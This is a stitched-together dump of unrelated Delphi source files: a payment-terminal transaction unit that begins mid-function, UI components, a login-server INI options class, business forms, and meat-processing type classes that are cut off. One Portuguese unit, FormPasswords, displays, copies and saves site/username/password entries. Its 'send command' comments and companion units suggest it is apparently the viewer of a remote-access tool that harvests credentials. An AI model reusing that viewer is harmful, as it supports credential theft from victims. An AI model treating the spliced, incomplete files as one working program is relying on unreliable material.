FUserTraceData : String;
begin
Result := False;
//To set the connection timeout for PingServer and timeout to failover to the next server address in the list generated by ServerIPConfig while processing transactions with ProcessTransaction.
//The default connection timeout value is 10 seconds if SetConnectTimeout is never called.
//Param:
//1 - Timeout – The timeout value in seconds (5 – 60).
if ( Fprocessor.GetConnectionTimeOut() <> -1 ) then begin
FDevice.SetConnectTimeout(Fprocessor.GetConnectionTimeOut);
end;
//To set the response timeout while processing transactions with ProcessTransaction.
//Param:
//1 - Timeout – The timeout value in seconds (60 – 3900).
//The default connection timeout value is 300 seconds if SetResponseTimeout is never called. The default value should be used unless unusual response performance is experienced or as advised for a particular processing connection.
if ( Fprocessor.GetResponseTimeOut() <> -1 ) then begin
FDevice.SetResponseTimeout(Fprocessor.GetResponseTimeOut());
end;
//This method should be the first one called after the DSIClientX control is loaded
//Params:
//1 - HostList – up to 10 host names or IP addresses separated by semicolon (;). The host names entries in the list will be looked up via DNS.
//2 - ProcessControl – This determines how the control will process the request. Allowed values are:
// 0 Process using visible dialog boxes
// 1 Process without using visible dialog boxes
FXMLResult := FDevice.ServerIPConfig(Fprocessor.GetIPProcessorAddres(), 0);
FXMLServer := FXMLResult;
if VerifyServerConfig then
begin
//Params:
//1 - BSTR XML Command – An XML formatted string containing the details of the transaction request. See subsequent sections on available XML commands, formats and usage.
//2 - ProcessControl – This determines how the control will process the request. Allowed values are:
// 0 Process using visible dialog boxes
// 1 Process without using visible dialog boxes
// 2 Process asynchronously without visible dialog boxes and fire an event
//3 - ClientServerPassword – A password consisting of 1-12 characters which is defined by the server. If the server is configured such that a ClientServerPassword is not required, then a null string should be supplied.
//4 - UserTraceData – Optional value which will be returned unaltered with response to allow application to identify a particular response.
FXMLSent := FXML;
// showmessage('pdcx xml sent : ' + fxmlsent);
FXMLResult := FDevice.ProcessTransaction(FXMLSent, 0, '', FUserTraceData);
// showmessage('pdcx xml response : ' + fxmlresult);
FXMLReceived := FXMLResult;
if VerifyTransaction then
Result := True;
end;
end;
procedure TDsiPDCXIntegration.SetPadType(arg_name: String);
begin
inherited;
if ( Fprocessor.GetPadType = 'ISC250' ) then begin // Ingenico
Fprocessor.SetSecureDevice('INGENICOISC250_MERCURY_E2E');
end else if ( Fprocessor.GetPadType = 'VX805' ) then begin // Verifone
if ( Fprocessor.GetclassTypeName = 'TMercuryProcessor' ) then begin
Fprocessor.SetSecureDevice('VX805XPI_MERCURY_E2E');
end else if ( Fprocessor.GetclassTypeName = 'TWorldPayProcessor' ) then begin
Fprocessor.SetSecureDevice('VX805XPI_CTLS');
end;
end;
end;
procedure TDsiPDCXIntegration.SetPinPad(arg_pinpad: TMRPinPad);
begin
FPinPad := arg_pinpad;
end;
procedure TDsiPDCXIntegration.SetProcessor(arg_processor: IProcessor);
begin
Fprocessor := arg_processor;
end;
function TDsiPDCXIntegration.tryBalanceCard(
arg_salePrice: double): TTransactionReturn;
var
msg: String;
msgButtonSelected: Integer;
balanceToBeAdded: double;
begin
prePaidBalance();
result := fTransactionReturn;
// Antonio, 2013 Oct 19 - (MR-67)
if ( FXMLContent.GetAttributeString('CmdStatus') = 'Approved' ) then begin
balanceToBeAdded := Fbalance + arg_saleprice;
msg := Format('Card %s already issued.'+#13#10+' New balance will be %f', [self.getSecureSerialNumber(self.FAcctNo),balanceToBeAdded]);
messageDlg(msg, mtInformation, [mbOK], 0);
end;
end;
function TDsiPDCXIntegration.tryIssueCard(
arg_salePrice: double): TTransactionReturn;
var
msg: String;
msgButtonSelected: Integer;
begin
self.prePaidIssue;
result := fTransactionReturn;
if ( FXMLContent.GetAttributeString('CmdStatus') = 'Approved' ) then begin
result := fTransactionReturn;
end
else begin
msg := ' Card Declined. Try again.';
MessageDlg(msg, mtError, [mbOk], 0);
result := fTransactionReturn;
end;
end;
function TDsiPDCXIntegration.VerifyTransaction: Boolean;
begin
inherited;
end;
end.
|
Function RealToStr(InVal:Real; Decimals:Byte): String;
//
// Converte um numero real em String
//
Var
Width : Byte;
IntPart : Real;
TempStr : String;
Begin
IntPart := Int(InVal);
STR(Int(InVal):0:0,TempStr);
Width := Length((TempStr));
STR(InVal:Width:Decimals,TempStr);
Result := TempStr;
End;
|
unit ExtLabel;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls;
type
TExtLabel = class(TLabel)
private
{ Private declarations }
FDigits : byte;
FIntDigs : byte;
FFractDigs : byte;
FLongintN : longint;
FDoubleN : double;
procedure SetLongint( Value : longint );
procedure SetDouble( Value : double );
protected
{ Protected declarations }
public
{ Public declarations }
constructor Create( AOwner : TComponent ); override;
destructor Destroy; override;
procedure IncI;
procedure DecI;
published
{ Published declarations }
property IntDigs : byte read FIntDigs write FIntDigs;
property FractDigs : byte read FFractDigs write FFractDigs;
property Digits : byte read FDigits write FDigits;
property DoubleN : double read FDoubleN write SetDouble;
property LongintN : longint read FLongintN write SetLongint;
end;
procedure Register;
implementation
procedure Register;
begin
RegisterComponents('Losev Controls', [TExtLabel]);
end;
constructor TExtLabel.Create( AOwner : TComponent );
begin
inherited Create( AOwner );
IntDigs:=2;
FractDigs:=1;
end;
destructor TExtLabel.Destroy;
begin
inherited Destroy;
end;
procedure TExtLabel.IncI;
begin
LongintN:=FlongintN+1;
end;
procedure TExtLabel.DecI;
begin
LongintN:=FlongintN-1;
end;
procedure TExtLabel.SetDouble( Value : double );
var
i : byte;
S : string;
begin
FDoubleN:=Value;
if (FIntDigs>0) and (FFractDigs>0) then
Str( FDoubleN:FIntDigs:FFractDigs, S )
else
if (FIntDigs>0) then
Str( FDoubleN:FIntDigs, S )
else
if (FFractDigs>0) then
Str( FDoubleN:2:FFractDigs, S )
else
Str( FDoubleN, S );
if FDigits>length(S) then for i:=1 to FDigits-length(S) do S:='0'+S;
Caption:=S;
end;
procedure TExtLabel.SetLongint( Value : longint );
var
i : byte;
S : string;
begin
FLongintN:=Value;
Str( FLongintN, S );
if FDigits>length(S) then for i:=1 to FDigits-length(S) do S:='0'+S;
Caption:=S;
end;
end.
|
unit dlgCommandLine;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, SynEdit, StdCtrls, ExtCtrls, Buttons, TB2Item, TBX, TBXExtItems,
Menus, TBXDkPanels;
type
TCommandLineDlg = class(TForm)
Panel1: TPanel;
Label1: TLabel;
SynParameters: TSynEdit;
Label3: TLabel;
OKButton: TBitBtn;
BitBtn2: TBitBtn;
HelpButton: TBitBtn;
cbUseCommandLine: TCheckBox;
TBXButton1: TTBXButton;
TBXPopupHistory: TTBXPopupMenu;
PopupHistoryItem: TTBXMRUListItem;
EmptyHistoryPopupItem: TTBXItem;
procedure btnHelpClick(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure SynParametersEnter(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure OKButtonClick(Sender: TObject);
procedure TBXPopupHistoryPopup(Sender: TObject);
private
{ Private declarations }
procedure CommandLineMRUClick(Sender: TObject; const Filename: string);
public
{ Public declarations }
end;
implementation
uses dmCommands;
{$R *.dfm}
procedure TCommandLineDlg.SynParametersEnter(Sender: TObject);
begin
CommandsDataModule.ParameterCompletion.Editor := SynParameters;
CommandsDataModule.ModifierCompletion.Editor := SynParameters;
end;
procedure TCommandLineDlg.TBXPopupHistoryPopup(Sender: TObject);
begin
if PopupHistoryItem.MRUList.Items.Count > 0 then
EmptyHistoryPopupItem.Visible := False;
end;
procedure TCommandLineDlg.FormCreate(Sender: TObject);
begin
PopupHistoryItem.MRUList.OnClick := CommandLineMRUClick;
end;
procedure TCommandLineDlg.FormDestroy(Sender: TObject);
begin
CommandsDataModule.ParameterCompletion.Editor := nil;
CommandsDataModule.ModifierCompletion.Editor := nil;
PopupHistoryItem.MRUList.OnClick := nil;
end;
procedure TCommandLineDlg.OKButtonClick(Sender: TObject);
begin
if (SynParameters.Text <> '') and cbUseCommandLine.Checked then
CommandsDataModule.CommandLineMRU.Add(SynParameters.Text);
end;
procedure TCommandLineDlg.btnHelpClick(Sender: TObject);
begin
Application.HelpContext(HelpContext);
end;
procedure TCommandLineDlg.CommandLineMRUClick(Sender: TObject;
const Filename: string);
begin
SynParameters.Text := Filename;
SynParameters.SetFocus;
end;
end.
|
unit uMainForm;
interface
uses
Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
System.Classes, Vcl.Graphics,
Vcl.Controls, Vcl.Forms, Vcl.Dialogs, IPPeerClient, REST.Backend.EMSServices,
FireDAC.Stan.Intf, FireDAC.Stan.Option, FireDAC.DatS, FireDAC.Phys.Intf,
FireDAC.DApt.Intf, FireDAC.DApt, FireDAC.Stan.Param, FireDAC.Stan.Error,
FireDAC.UI.Intf, FireDAC.FMXUI.Wait, FireDAC.Comp.UI, Data.DB,
FireDAC.Comp.DataSet, FireDAC.Comp.Client, REST.Backend.EMSFireDAC,
REST.Backend.EMSProvider, Vcl.ToolWin, Vcl.ComCtrls, Data.Bind.EngExt,
Vcl.Bind.DBEngExt, Vcl.Bind.Grid, System.Rtti, System.Bindings.Outputs,
Vcl.Bind.Editors, Data.Bind.Controls, Vcl.StdCtrls, Vcl.ExtCtrls, Vcl.Buttons,
Vcl.Bind.Navigator, Data.Bind.Components, Data.Bind.Grid, Vcl.Grids,
Data.Bind.DBScope;
type
TForm1 = class(TForm)
EMSProvider1: TEMSProvider;
EMSFireDACClient1: TEMSFireDACClient;
FDSchemaAdapter1: TFDSchemaAdapter;
FDTableAdapter1: TFDTableAdapter;
FDMemTable1: TFDMemTable;
FDGUIxWaitCursor1: TFDGUIxWaitCursor;
BindingsList1: TBindingsList;
BindSourceDB1: TBindSourceDB;
StringGridBindSourceDB1: TStringGrid;
LinkGridToDataSourceBindSourceDB1: TLinkGridToDataSource;
NavigatorBindSourceDB1: TBindNavigator;
Panel1: TPanel;
butUpdateCustomers: TButton;
butGetCustomers: TButton;
procedure butGetCustomersClick(Sender: TObject);
procedure butUpdateCustomersClick(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure GridAutoSizeCols(Grid: TStringGrid);
var
c: integer;
procedure AutoSizeCol(Grid: TStringGrid; Column: integer);
var
i, W, WMax: integer;
begin
WMax := 0;
for i := 0 to (Grid.RowCount - 1) do
begin
W := Grid.Canvas.TextWidth(Grid.Cells[Column, i]);
if W > WMax then
WMax := W;
end;
Grid.ColWidths[Column] := WMax + 10;
end;
begin
for c := 0 to Grid.ColCount - 1 do
AutoSizeCol(Grid, c);
end;
procedure TForm1.butGetCustomersClick(Sender: TObject);
begin
EMSFireDACClient1.GetData;
GridAutoSizeCols(StringGridBindSourceDB1);
end;
procedure TForm1.butUpdateCustomersClick(Sender: TObject);
begin
EMSFireDACClient1.PostUpdates;
end;
end.
|
//------------------------------------------------------------------------------
//LoginOptions UNIT
//------------------------------------------------------------------------------
// What it does-
// This unit is used to gain access to configuration variables loaded from
// Login.ini.
//
// Changes -
// January 7th, 2007 - RaX - Broken out from ServerOptions.
//
//------------------------------------------------------------------------------
unit LoginOptions;
{$IFDEF FPC}
{$MODE Delphi}
{$ENDIF}
interface
uses
IniFiles;
type
//------------------------------------------------------------------------------
//TLoginOptions CLASS
//------------------------------------------------------------------------------
TLoginOptions = class(TMemIniFile)
private
//private variables
fPort : Word;
fKey : String;
fEnableMF : Boolean;
fIndySchedulerType : Byte;
fIndyThreadPoolSize : Word;
//Gets/Sets
procedure SetPort(Value : Word);
procedure SetEnableMF(Value : Boolean);
public
//Communication
property Port : Word read fPort write SetPort;
//Security
property Key : String read fKey;
//Options
property EnableMF : boolean read fEnableMF write SetEnableMF;
//Performance
property IndySchedulerType : Byte read fIndySchedulerType;
property IndyThreadPoolSize : Word read fIndyThreadPoolSize;
//Public methods
procedure Load;
procedure Save;
end;
//------------------------------------------------------------------------------
implementation
uses
Classes,
SysUtils,
Math,
NetworkConstants;
//------------------------------------------------------------------------------
//Load() PROCEDURE
//------------------------------------------------------------------------------
// What it does-
// This routine is called to load the ini file values from file itself.
// This routine contains multiple subroutines. Each one loads a different
// portion of the ini. All changes to said routines should be documented in
// THIS changes block.
//
// Changes -
// September 21st, 2006 - RaX - Created Header.
//
//------------------------------------------------------------------------------
procedure TLoginOptions.Load;
var
Section : TStringList;
//--------------------------------------------------------------------------
//LoadCommunication SUB PROCEDURE
//--------------------------------------------------------------------------
procedure LoadCommunication;
begin
ReadSectionValues('Communication', Section);
fPort := EnsureRange(StrToIntDef(Section.Values['Port'], 6900), 1, MAX_PORT);
end;{Subroutine LoadCommunication}
//--------------------------------------------------------------------------
//--------------------------------------------------------------------------
//LoadSecurity SUB PROCEDURE
//--------------------------------------------------------------------------
procedure LoadSecurity;
begin
ReadSectionValues('Security', Section);
fKey := Section.Values['Key'];
end;{Subroutine LoadSecurity}
//--------------------------------------------------------------------------
//--------------------------------------------------------------------------
//LoadOptions SUB PROCEDURE
//--------------------------------------------------------------------------
procedure LoadOptions;
begin
ReadSectionValues('Options', Section);
fEnableMF := StrToBoolDef(Section.Values['EnableMF'] ,false);
end;{Subroutine LoadOptions}
//--------------------------------------------------------------------------
//--------------------------------------------------------------------------
//LoadPerformance SUB PROCEDURE
//--------------------------------------------------------------------------
procedure LoadPerformance;
begin
ReadSectionValues('Performance', Section);
fIndySchedulerType := EnsureRange(StrToIntDef(Section.Values['Indy Scheduler Type'], 0), 0, 1);
fIndyThreadPoolSize := EnsureRange(StrToIntDef(Section.Values['Indy Thread Pool Size'], 1), 1, High(Word));
end;{Subroutine LoadPerformance}
//--------------------------------------------------------------------------
begin
Section := TStringList.Create;
Section.QuoteChar := '"';
Section.Delimiter := ',';
LoadCommunication;
LoadSecurity;
LoadOptions;
LoadPerformance;
Section.Free;
end;{Load}
//------------------------------------------------------------------------------
//------------------------------------------------------------------------------
//Save() PROCEDURE
//------------------------------------------------------------------------------
// What it does-
// This routine saves all configuration values defined here to the .ini
// file.
//
// Changes -
// September 21st, 2006 - RaX - Created Header.
//
//------------------------------------------------------------------------------
procedure TLoginOptions.Save;
begin
//Communication
WriteString('Communication','Port',IntToStr(fPort));
//Security
WriteString('Security','Key',fKey);
//Options
WriteString('Options','EnableMF',BoolToStr(EnableMF));
//Performance
WriteString('Performance','Indy Scheduler Type',IntToStr(IndySchedulerType));
WriteString('Performance','Indy Thread Pool Size',IntToStr(IndyThreadPoolSize));
UpdateFile;
end;{Save}
//------------------------------------------------------------------------------
//------------------------------------------------------------------------------
//SetPort() PROCEDURE
//------------------------------------------------------------------------------
// What it does-
// Property Set Routine for LoginPort. Ensures that if the login port is
// changed for whatever reason, that it gets written to the .ini immediately.
// The same is true for all communication variables.
//
// Changes -
// September 21st, 2006 - RaX - Created Header.
//
//------------------------------------------------------------------------------
procedure TLoginOptions.SetPort(Value : word);
begin
if fPort <> Value then
begin
fPort := Value;
WriteString('Communication', 'Port', IntToStr(fPort));
end;
end;{SetPort}
//------------------------------------------------------------------------------
//------------------------------------------------------------------------------
//SetEnableMF() PROCEDURE
//------------------------------------------------------------------------------
// What it does-
// Property Set Routine for EnableMF. Ensures that if _M/_F registration is
// changed for whatever reason, that it gets written to the .ini immediately.
//
// Changes -
// September 21st, 2006 - RaX - Created Header.
//
//------------------------------------------------------------------------------
procedure TLoginOptions.SetEnableMF(Value : boolean);
begin
if fEnableMF <> value then
begin
fEnableMF := value;
WriteString('Options', 'EnableMF', BoolToStr(EnableMF));
end;
end;{SetEnableMF}
//------------------------------------------------------------------------------
end{ServerOptions}.
|
unit UnitPasswords;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ComCtrls, Menus;
type
TFormPasswords = class(TForm)
ListView1: TListView;
PopupMenu1: TPopupMenu;
Copiarnomedeusurio1: TMenuItem;
Copiarsenha1: TMenuItem;
Abrirsite1: TMenuItem;
N1: TMenuItem;
Savepasstxt1: TMenuItem;
SaveDialog1: TSaveDialog;
StatusBar1: TStatusBar;
ProgressBar1: TProgressBar;
procedure FormShow(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure Copiarnomedeusurio1Click(Sender: TObject);
procedure Copiarsenha1Click(Sender: TObject);
procedure Abrirsite1Click(Sender: TObject);
procedure PopupMenu1Popup(Sender: TObject);
procedure ListView1ColumnClick(Sender: TObject; Column: TListColumn);
procedure ListView1Compare(Sender: TObject; Item1, Item2: TListItem;
Data: Integer; var Compare: Integer);
procedure Savepasstxt1Click(Sender: TObject);
private
SortColumn: integer;
SortReverse: boolean;
procedure AtualizarIdiomaFormPasswords;
{ Private declarations }
public
{ Public declarations }
end;
var
FormPasswords: TFormPasswords;
PodeReceber: boolean = false; // começa "false" pq o form está fechado
// então ao abri o form ele fica "true" e não será possível enviar o comando enquanto estiver aberto
implementation
{$R *.dfm}
Uses
UnitPrincipal,
FuncoesdiversasCliente,
UnitStrings,
UnitClipBoard,
UnitComandos,
shellapi,
StrUtils;
procedure TFormPasswords.AtualizarIdiomaFormPasswords;
var
i: integer;
begin
FormPasswords.Caption := traduzidos[353];
for i := 0 to 3 do Listview1.Column[i].Caption := traduzidos[i + 355];
Copiarnomedeusurio1.Caption := traduzidos[359];
Copiarsenha1.Caption := traduzidos[360];
Abrirsite1.Caption := traduzidos[361];
Savepasstxt1.Caption := traduzidos[362];
end;
procedure TFormPasswords.FormShow(Sender: TObject);
begin
AtualizarIdiomaFormPasswords;
PodeReceber := true;
end;
procedure TFormPasswords.FormClose(Sender: TObject;
var Action: TCloseAction);
begin
PodeReceber := false;
end;
procedure TFormPasswords.Copiarnomedeusurio1Click(Sender: TObject);
begin
SetClipboardText(listview1.Selected.SubItems.Strings[1]);
end;
procedure TFormPasswords.Copiarsenha1Click(Sender: TObject);
begin
SetClipboardText(listview1.Selected.SubItems.Strings[2]);
end;
procedure TFormPasswords.Abrirsite1Click(Sender: TObject);
begin
shellExecute(0, 'open', pchar(GetDefaultBrowser), pchar(listview1.Selected.Caption), '', SW_SHOWMAXIMIZED);
end;
procedure TFormPasswords.PopupMenu1Popup(Sender: TObject);
var
i: integer;
begin
if listview1.Selected = nil then
begin
for i := 0 to PopupMenu1.Items.Count - 1 do
PopupMenu1.Items.Items[i].Visible := false;
exit;
end else
begin
for i := 0 to PopupMenu1.Items.Count - 1 do
PopupMenu1.Items.Items[i].Visible := true;
end;
if (listview1.Selected.ImageIndex = 314) or
(listview1.Selected.ImageIndex = 315) then Abrirsite1.Visible := true else Abrirsite1.Visible := false;
end;
procedure TFormPasswords.ListView1ColumnClick(Sender: TObject;
Column: TListColumn);
var
i: integer;
begin
if (SortColumn = Column.Index) then
SortReverse := not SortReverse // reverse the sort order since this column is already selected for sorting
else
begin
SortColumn := Column.Index;
SortReverse := false;
end;
ListView1.CustomSort(nil, 0);
end;
procedure TFormPasswords.ListView1Compare(Sender: TObject; Item1,
Item2: TListItem; Data: Integer; var Compare: Integer);
begin
if SortColumn = 0 then
Compare := AnsiCompareStr(Item1.Caption, Item2.Caption)
else
Compare := AnsiCompareStr(Item1.SubItems[SortColumn-1], Item2.SubItems[SortColumn-1]);
if SortReverse then Compare := 0 - Compare;
end;
function justr(s : string; tamanho : integer) : string;
var i : integer;
begin
i := tamanho-length(s);
if i>0 then
s := DupeString(' ', i)+s;
justr := s;
end;
function justl(s : string; tamanho : integer) : string;
var i : integer;
begin
i := tamanho-length(s);
if i>0 then
s := s+DupeString(' ', i);
justl := s;
end;
procedure TFormPasswords.Savepasstxt1Click(Sender: TObject);
var
Filename: string;
I: Integer;
buffer: string;
Distancia: integer;
begin
Distancia := length(ListView1.Column[0].Caption);
if length(ListView1.Column[1].Caption) > Distancia then Distancia := length(ListView1.Column[1].Caption);
if length(ListView1.Column[2].Caption) > Distancia then Distancia := length(ListView1.Column[2].Caption);
if length(ListView1.Column[3].Caption) > Distancia then Distancia := length(ListView1.Column[3].Caption);
savedialog1.Filter := 'Text Files (*.txt)' + '|*.txt';
savedialog1.InitialDir := extractfilepath(paramstr(0));
savedialog1.Title := Application.Title + ' ' + VersaoPrograma;
savedialog1.FileName := extractfilepath(paramstr(0)) + inttostr(gettickcount) + '.txt';
if savedialog1.Execute = true then
begin
Filename := savedialog1.FileName;
if Filename = '' then exit;
buffer := '';
for I := 0 to ListView1.Items.Count - 1 do
begin
buffer := buffer + justl(ListView1.Column[1].Caption, Distancia) + justl(': ' + ListView1.Items[I].SubItems[0], 0) + #13#10;
buffer := buffer + justl(ListView1.Column[0].Caption, Distancia) + justl(': ' + ListView1.Items[I].Caption, 0) + #13#10;
buffer := buffer + justl(ListView1.Column[2].Caption, Distancia) + justl(': ' + ListView1.Items[I].SubItems[1], 0) + #13#10;
buffer := buffer + justl(ListView1.Column[3].Caption, Distancia) + justl(': ' + ListView1.Items[I].SubItems[2], 0) + #13#10;
buffer := buffer + #13#10;
end;
criararquivo(filename, buffer, length(buffer));
end;
end;
end.
|
unit uNotifier;
{$mode objfpc}{$H+}
interface
uses
Classes, SysUtils, Controls, ExtCtrls, Graphics, Forms, StdCtrls;
type
TNotifier = class
private
Panel: TPanel;
Lbl: TLabel;
function GetBottom: Integer;
function GetText: String;
procedure SetText(Text: String);
public
property Bottom: Integer read GetBottom;
property Text: String read GetText write SetText;
procedure Show;
procedure Hide;
constructor Create(WC: TWinControl; Pos: Integer);
end;
implementation
uses
uGlobal, Dialogs;
constructor TNotifier.Create(WC: TWinControl; Pos: Integer);
begin
Panel := TPanel.Create(Nil);
with Panel do
begin
Parent := WC;
AnchorToParent(TControl(Panel), [akLeft, akTop, akRight]);
BorderSpacing.Around := Pos;
Height := 32;
BevelInner := bvNone;
BevelOuter := bvNone;
BorderStyle := bsSingle;
Hide;
end;
Lbl := TLabel.Create(Nil);
with Lbl do
begin
Parent := Panel;
Caption := '';
Width := Panel.Width;
Left := 8;
Top := 6;
end;
end;
function TNotifier.GetBottom: Integer;
begin
Result := Panel.BorderSpacing.Around + Panel.Height;
end;
function TNotifier.GetText: String;
begin
Result := Lbl.Caption;
end;
procedure TNotifier.SetText(Text: String);
begin
if not (Lbl.Caption = Text) then
Lbl.Caption := Text;
end;
procedure TNotifier.Show;
begin
Panel.Show;
end;
procedure TNotifier.Hide;
begin
Panel.Hide;
end;
end. |
unit uFrmBaseInput;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, uFrmParent, ActnList, ExtCtrls, Menus, cxLookAndFeelPainters, DBClient,
StdCtrls, cxButtons, cxControls, cxContainer, cxEdit, cxLabel, cxCheckBox, uParamObject,
uBaseInfoDef, uDefCom, uModelBaseIntf, Mask, cxTextEdit, cxMaskEdit, cxButtonEdit, cxGraphics,
cxDropDownEdit, cxMemo;
type
TDlgInputBaseClass = class of TfrmBaseInput;
TfrmBaseInput = class(TfrmParent)
pnlBottom: TPanel;
pnlClient: TPanel;
btnOK: TcxButton;
btnCannel: TcxButton;
actOK: TAction;
actCannel: TAction;
pnlTop: TPanel;
lblTitle: TcxLabel;
chkAutoAdd: TcxCheckBox;
procedure actOKExecute(Sender: TObject);
procedure actCannelExecute(Sender: TObject);
private
{ Private declarations }
FViewRoot: TObject; //保存调用此窗体的对象,如TfrmBaseList
procedure SelfClose;
protected
FModelBaseType: IModelBaseType;
function SaveData: Boolean; virtual; //保存数据
procedure SetReadOnly(AReadOnly: Boolean); virtual; //设置界面只读
procedure SetFrmData(ASender: TObject; AList: TParamObject); virtual; abstract; //把数据库中的显示到界面
procedure GetFrmData(ASender: TObject; AList: TParamObject); virtual; abstract; //把界面的数据写到参数表中
procedure ClearFrmData; virtual; //清空界面数据
procedure SetTitle(const Value: string); override;
public
{ Public declarations }
constructor CreateFrmParamList(AOwner: TComponent; AParam: TParamObject); override;
class function InputBase(AViewR: TObject = nil; AParam: TParamObject = nil): Boolean;
procedure SetViewRoot(AViewR: TObject);
procedure IniView; override; //初始化视图
procedure IniData; override;
procedure BeforeFormShow; override;
procedure BeforeFormDestroy; override;
function CurTypeId: string;
end;
var
frmBaseInput: TfrmBaseInput;
implementation
uses uSysSvc;
{$R *.dfm}
{ TfrmBaseInput }
procedure TfrmBaseInput.BeforeFormDestroy;
begin
inherited;
end;
procedure TfrmBaseInput.BeforeFormShow;
begin
FModelBaseType.OnSetDataEvent(SetFrmData);
FModelBaseType.OnGetDataEvent(GetFrmData);
inherited;
end;
procedure TfrmBaseInput.ClearFrmData;
begin
inherited;
DBComItem.ClearItemData();
end;
constructor TfrmBaseInput.CreateFrmParamList(AOwner: TComponent;
AParam: TParamObject);
begin
inherited;
SetViewRoot(AOwner);
end;
procedure TfrmBaseInput.IniData;
begin
ClearFrmData();
FModelBaseType.IniData(CurTypeId);
end;
procedure TfrmBaseInput.IniView;
function GetSetANullAdd: Boolean;
begin
if (FModelBaseType.DataChangeType = dctAdd) //空白新增
or ((FModelBaseType.DataChangeType = dctAddCopy) and (CurTypeId = '')) then
//复制新增
Result := True
else
Result := False;
end;
var
cdsTemp : TClientDataSet;
begin
if FModelBaseType.DataChangeType in [dctNo, dctModif, dctDis] then
begin
chkAutoAdd.Visible := False;
end;
if chkAutoAdd.Visible then
begin
// chkAutoAdd.Checked := gFuncom.GetConfig('BASIC', 'AUTOADD', '1') = '1';
end;
cdsTemp := TClientDataSet.Create(nil);
try
if GetSetANullAdd() then
begin
ClearFrmData; //清空界面数据
end
else //if () then //获取数据
begin
IniData;
end;
finally
cdsTemp.Free;
end;
//设置只读
if FModelBaseType.DataChangeType = dctDis then
begin
SetReadOnly(True);
actOK.Enabled := False;
end;
Title := Caption; //默认title和caption是一样的。如果要设置为不一样的,可以在子类重写SetTitle方法
end;
function TfrmBaseInput.SaveData: Boolean;
begin
Result := FModelBaseType.SaveData();
end;
procedure TfrmBaseInput.SelfClose;
begin
Self.ModalResult := mrCancel;
end;
procedure TfrmBaseInput.SetReadOnly(AReadOnly: Boolean);
begin
DBComItem.SetReadOnly(nil, AReadOnly);
end;
procedure TfrmBaseInput.SetTitle(const Value: string);
begin
inherited;
lblTitle.Caption := Value;
end;
procedure TfrmBaseInput.SetViewRoot(AViewR: TObject);
begin
FViewRoot := AViewR;
end;
procedure TfrmBaseInput.actOKExecute(Sender: TObject);
begin
inherited;
if SaveData() then
begin
ModalResult := mrOk;
end;
end;
procedure TfrmBaseInput.actCannelExecute(Sender: TObject);
begin
inherited;
SelfClose();
end;
function TfrmBaseInput.CurTypeId: string;
begin
Result := FModelBaseType.CurTypeId;
end;
class function TfrmBaseInput.InputBase(AViewR: TObject;
AParam: TParamObject): Boolean;
var
fDlgInputBase : TfrmBaseInput;
begin
Result := False;
fDlgInputBase := Self.CreateFrmParamList(TComponent(AViewR), AParam);
try
if fDlgInputBase.ShowModal = mrOk then
begin
Result := True;
end;
finally
fDlgInputBase.Free;
end;
end;
end.
|
unit UTipos;
interface
type TEstoqueBloqueado = class
private
FProduto: String;
FTipo: String;
FDataAbate: String;
FHabilitacao: String;
FQuantidade: Integer;
procedure SetProduto(const Value: String);
procedure SetTipo(const Value: String);
procedure SetDataAbate(const Value: String);
procedure SetHabilitacao(const Value: String);
procedure SetQuantidade(const Value: Integer);
published
property Produto: String read FProduto write SetProduto;
property Tipo: String read FTipo write SetTipo;
property DataAbate: String read FDataAbate write SetDataAbate;
property Habilitacao: String read FHabilitacao write SetHabilitacao;
property Quantidade: Integer read FQuantidade write SetQuantidade;
end;
type TCamaras = class
private
FCodCamara: String;
FHabilitacao: String;
FQuant: Integer;
FPeriodo: String;
FAbertura: String;
FFechamento: String;
procedure SetCodCamara(const Value: String);
procedure SetHabilitacao(const Value: String);
procedure SetQuant(const Value: Integer);
procedure SetPeriodo(const Value: String);
procedure SetAbertura(const Value: String);
procedure SetFechamento(const Value: String);
published
property CodCamara: String read FCodCamara write SetCodCamara;
property Habilitacao: String read FHabilitacao write SetHabilitacao;
property Quant: Integer read FQuant write SetQuant;
property Periodo: String read FPeriodo write SetPeriodo;
property Abertura: String read FAbertura write SetAbertura;
property Fechamento: String read FFechamento write SetFechamento;
end;
type TBalancaMapa = class
private
FSeqAbate: String;
FBanda: String;
FHabilitacao: String;
FNumLote: String;
FDataPes: String;
FCodMatur: String;
FTempo: String;
procedure SetSeqAbate(const Value: String);
procedure SetBanda(const Value: String);
procedure SetHabilitacao(const Value: String);
procedure SetNumLote(const Value: String);
procedure SetDataPes(const Value: String);
procedure SetCodMatur(const Value: String);
procedure SetTempo(const Value: String);
published
property SeqAbate: String read FSeqAbate write SetSeqAbate;
property Banda: String read FBanda write SetBanda;
property Habilitacao: String read FHabilitacao write SetHabilitacao;
property NumLote: String read FNumLote write SetNumLote;
property DataPes: String read FDataPes write SetDataPes;
property CodMatur: String read FCodMatur write SetCodMatur;
property Tempo: String read FTempo write SetTempo;
end;
type TCamaraDetalhe = class
private
FCodCamara: String;
FSeqAbate: String;
FBanda: String;
FCodTrilho: String;
FHabilitacao: String;
FNumLote: String;
procedure SetCodCamara(const Value: String);
procedure SetSeqAbate(const Value: String);
procedure SetBanda(const Value: String);
procedure SetCodTrilho(const Value: String);
procedure SetHabilitacao(const Value: String);
procedure SetNumLote(const Value: String);
published
property CodCamara: String read FCodCamara write SetCodCamara;
property SeqAbate: String read FSeqAbate write SetSeqAbate;
property Banda: String read FBanda write SetBanda;
property CodTrilho: String read FCodTrilho write SetCodTrilho;
property Habilitacao: String read FHabilitacao write SetHabilitacao;
property NumLote: String read FNumLote write SetNumLote;
end;
type TAcompanha = class
private
FTotal: String;
FAbatidos: String;
FRestam: String;
procedure SetTotal(const Value: String);
procedure SetAbatidos(const Value: String);
procedure SetRestam(const Value: String);
published
property Total: String read FTotal write SetTotal;
property Abatidos: String read FAbatidos write SetAbatidos;
property Restam: String read FRestam write SetRestam;
end;
